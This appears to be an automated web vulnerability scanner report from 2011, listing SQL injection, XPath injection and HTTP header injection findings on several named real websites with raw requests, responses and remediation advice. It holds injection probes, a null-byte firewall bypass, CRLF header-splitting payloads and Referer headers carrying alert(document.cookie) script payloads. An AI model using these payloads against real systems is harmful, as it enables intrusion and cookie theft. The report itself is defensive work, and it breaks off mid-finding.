SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The ltcid cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ltcid cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /g.lt?nvst=12596&nvtt=z&nvup=1&nvgpflid=547362597 HTTP/1.1 Host: lt.navegg.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(1)%3C/script%3E21b58676d82=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ltcid=547362597'
Response 1
HTTP/1.1 500 Internal Server Error P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' Content-Type: text/html Content-Length: 369 Date: Wed, 19 Jan 2011 18:01:20 GMT Server: lighttpd/1.4.19
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w ...[SNIP]...
Request 2
GET /g.lt?nvst=12596&nvtt=z&nvup=1&nvgpflid=547362597 HTTP/1.1 Host: lt.navegg.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(1)%3C/script%3E21b58676d82=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ltcid=547362597''
Response 2
HTTP/1.1 200 OK P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' Set-Cookie: inf= ; path=/; domain=.navegg.com; expires=Wed, 20-Jan-2011 06:01:21 GMT Content-type: application/javascript Date: Wed, 19 Jan 2011 18:01:21 GMT Server: lighttpd/1.4.19 Content-Length: 45
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /sc.lt?id=' HTTP/1.1 Host: navegg.boo-box.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 500 Internal Server Error Connection: close P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' Content-Type: text/html Content-Length: 369 Date: Wed, 19 Jan 2011 18:09:52 GMT Server: lighttpd/1.4.19
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w ...[SNIP]...
Request 2
GET /sc.lt?id='' HTTP/1.1 Host: navegg.boo-box.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Connection: close P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' Set-Cookie: inf=''_0_0_0_0_0_0_0-0-0-0-0; path=/; domain=.boo-box.com; expires=Wed, 19-Jan-2012 12:09:52 GMT Content-type: application/javascript Date: Wed, 19 Jan 2011 18:09:52 GMT Server: lighttpd/1.4.19 Content-Length: 23
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /image/special2.jpg HTTP/1.1 Host: v6test.cdn.att.net Proxy-Connection: keep-alive Referer: http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E9c7a66be0e0/Attorneys Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10%00' Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2011 16:50:03 GMT Last-Modified: Wed, 19 Jan 2011 16:50:03 GMT Server: Sun-ONE-Web-Server/6.1 Content-Length: 5532 Content-Type: text/html X-Cache: MISS from 12.120.38.41 Age: 35 X-Cache: HIT from 12.120.79.21 Via: 1.1 12.120.38.41:80 (cache/2.6.2.2.16.ATT), 1.1 12.120.79.21:80 (cache/2.6.2.2.16.ATT) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>AT&a ...[SNIP]... <strong>http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E9c7a66be0e0/Attorneys</strong> ...[SNIP]...
Request 2
GET /image/special2.jpg HTTP/1.1 Host: v6test.cdn.att.net Proxy-Connection: keep-alive Referer: http://www.yellowpages.com/Washington-DC74302%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E9c7a66be0e0/Attorneys Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10%00'' Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2011 16:49:53 GMT Last-Modified: Wed, 19 Jan 2011 16:49:53 GMT Server: Sun-ONE-Web-Server/6.1 Content-Length: 5422 Content-Type: text/html X-Cache: HIT from 12.120.38.42 Age: 45 X-Cache: HIT from 12.120.79.20 Via: 1.1 12.120.38.42:80 (cache/2.6.2.2.16.ATT), 1.1 12.120.79.20:80 (cache/2.6.2.2.16.ATT) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>AT&a ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /showoffice.aspx HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' Connection: close
Response 1 (redirected)
HTTP/1.1 500 Internal Server Error Connection: close Date: Wed, 19 Jan 2011 15:48:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache Set-Cookie: ASP.NET_SessionId=og0sit55134r4kyfq5mdkl3n; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 25
500 Internal Server Error
Request 2
GET /showoffice.aspx HTTP/1.1 Host: www.ebglaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'' Connection: close
Response 2 (redirected)
HTTP/1.1 404 Not Found Connection: close Date: Wed, 19 Jan 2011 15:48:30 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Pragma: no-cache Set-Cookie: ASP.NET_SessionId=cjknstzb1jhxzoedkedo5kji; path=/ Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 56279
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head pro ...[SNIP]...
The FUSEACTION parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the FUSEACTION parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /index.cfm?FUSEACTION=home.299'&pf=y HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Wed, 19 Jan 2011 15:48:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
The article_id parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the article_id parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /index.cfm?fuseaction=news.detail&article_id=9405'&site_id=286 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Wed, 19 Jan 2011 15:49:15 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
The emp_id parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the emp_id parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /index.cfm?fuseaction=attorneys.detail&site_id=299&emp_id=377' HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Wed, 19 Jan 2011 15:49:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
The eventID parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the eventID parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /index.cfm?fuseaction=seminars.detail&eventID=5575'&site_id=492 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Wed, 19 Jan 2011 15:51:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
The fuseaction parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the fuseaction parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /index.cfm?fuseaction=home.285' HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Wed, 19 Jan 2011 15:49:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
The site_id parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the site_id parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Microsoft SQL Server.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /index.cfm?fuseaction=news.site&site_id=299' HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 500 Internal Server Error Connection: close Date: Wed, 19 Jan 2011 15:49:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server-error: true Content-Type: text/html; charset=UTF-8
XPath injection vulnerabilities arise when user-controllable data is incorporated into XPath queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Depending on the purpose for which the vulnerable query is being used, an attacker may be able to exploit an XPath injection flaw to read sensitive application data or interfere with application logic.
Issue remediation
User input should be strictly validated before being incorporated into XPath queries. In most cases, it will be appropriate to accept input containing only short alhanumeric strings. At the very least, input containing any XPath metacharacters such as " ' / @ = * [ ] ( and ) should be rejected.
The REST URL parameter 1 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 1, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application appears to be using the ASP.NET XPath APIs.
Request
GET /FCWSite'/Img HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<html> <head> <title>This is an unclosed string.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family ...[SNIP]... </b>System.Xml.XPath.XPathException: This is an unclosed string.<br> ...[SNIP]... <pre>
[XPathException: This is an unclosed string.] MS.Internal.Xml.XPath.XPathScanner.ScanString() +2007289 MS.Internal.Xml.XPath.XPathScanner.NextLex() +5069503 MS.Internal.Xml.XPath.XPathParser.ParseNodeTest(AstNode qyInput, AxisType axisType, XPathNodeType nodeT ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 2, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application appears to be using the ASP.NET XPath APIs.
Request
GET /FCWSite/Img' HTTP/1.1 Host: www.hoganlovells.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; __utmz=1.1295449738.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); NavId=0; Localization=TimeZone=13&UsesDaylightSavings=True&TimeZoneAbbrev=EST&Persists=True; ZoneId=0; NSC_MC_Iphbo_IUUQ=ffffffff09d5f65d45525d5f4f58455e445a4a423660; Mode=1; DefaultCulture=en-US; __utma=1.2116759900.1295449738.1295449738.1295449738.1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; is_returning=1; __utmc=1; __utmb=1.1.10.1295449738; ASP.NET_SessionId=lpsezm55fyelcw45zjklwoyf; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; SiteId=1039;
<html> <head> <title>This is an unclosed string.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family ...[SNIP]... </b>System.Xml.XPath.XPathException: This is an unclosed string.<br> ...[SNIP]... <pre>
[XPathException: This is an unclosed string.] MS.Internal.Xml.XPath.XPathScanner.ScanString() +2007289 MS.Internal.Xml.XPath.XPathScanner.NextLex() +5069503 MS.Internal.Xml.XPath.XPathParser.ParsePrimaryExpr(AstNode qyInput) +5052705 MS.Internal.Xml.XPath. ...[SNIP]...
3. HTTP header injectionpreviousnext There are 5 instances of this issue:
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 2 is copied into the Location response header. The payload acc91%0d%0af14ecc46de1 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /files/acc91%0d%0af14ecc46de1 HTTP/1.1 Host: accuserve.homestead.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/5.0 Date: Wed, 19 Jan 2011 15:20:44 GMT Location: /files/acc91 f14ecc46de1/
3.2. http://ad.doubleclick.net/pfadx/csmonitor_cim/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/pfadx/csmonitor_cim/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the DCLK_imp response header. The payload f761f%0d%0a84ae002f268 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
GET /pfadx/csmonitor_cim/;secure=false;position=1;ac17=1;ac16=1;ac14=1;ac18=1;ic22=1;ac2=1;ac5=1;ic17=1;ic23=1;pc5=1;ac8=1;ic13=1;ic5=1;sz=24x24;dcmt=text/html;ord=1295452268743?&f761f%0d%0a84ae002f268=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://cim.meebo.com/cim/sandbox.php?lang=en&version=v89_cim_10_3_8&protocol=http%3A&network=csmonitor Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
The value of the secure request parameter is copied into the DCLK_imp response header. The payload af523%0d%0ad8de1a54e2 was submitted in the secure parameter. This caused a response containing an injected HTTP header.
Request
GET /pfadx/csmonitor_cim/;secure=af523%0d%0ad8de1a54e2 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://cim.meebo.com/cim/sandbox.php?lang=en&version=v89_cim_10_3_8&protocol=http%3A&network=csmonitor Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
The value of the $ request parameter is copied into the Set-Cookie response header. The payload 99487%0d%0a1735d591256 was submitted in the $ parameter. This caused a response containing an injected HTTP header.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=99487%0d%0a1735d591256&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
